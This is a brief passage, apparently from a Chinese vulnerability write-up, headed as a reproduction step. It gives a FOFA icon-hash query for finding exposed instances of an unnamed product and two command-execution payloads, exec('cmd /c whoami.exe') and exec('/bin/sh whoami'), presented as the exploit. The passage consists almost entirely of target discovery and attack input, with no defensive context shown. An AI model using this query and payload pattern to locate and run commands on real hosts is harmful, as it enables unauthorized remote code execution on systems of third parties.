0x03 漏洞复现

fofa搜索目标：

icon_hash="1085941792"

漏洞利用：

exec("cmd /c whoami.exe")
exec("/bin/sh whoami")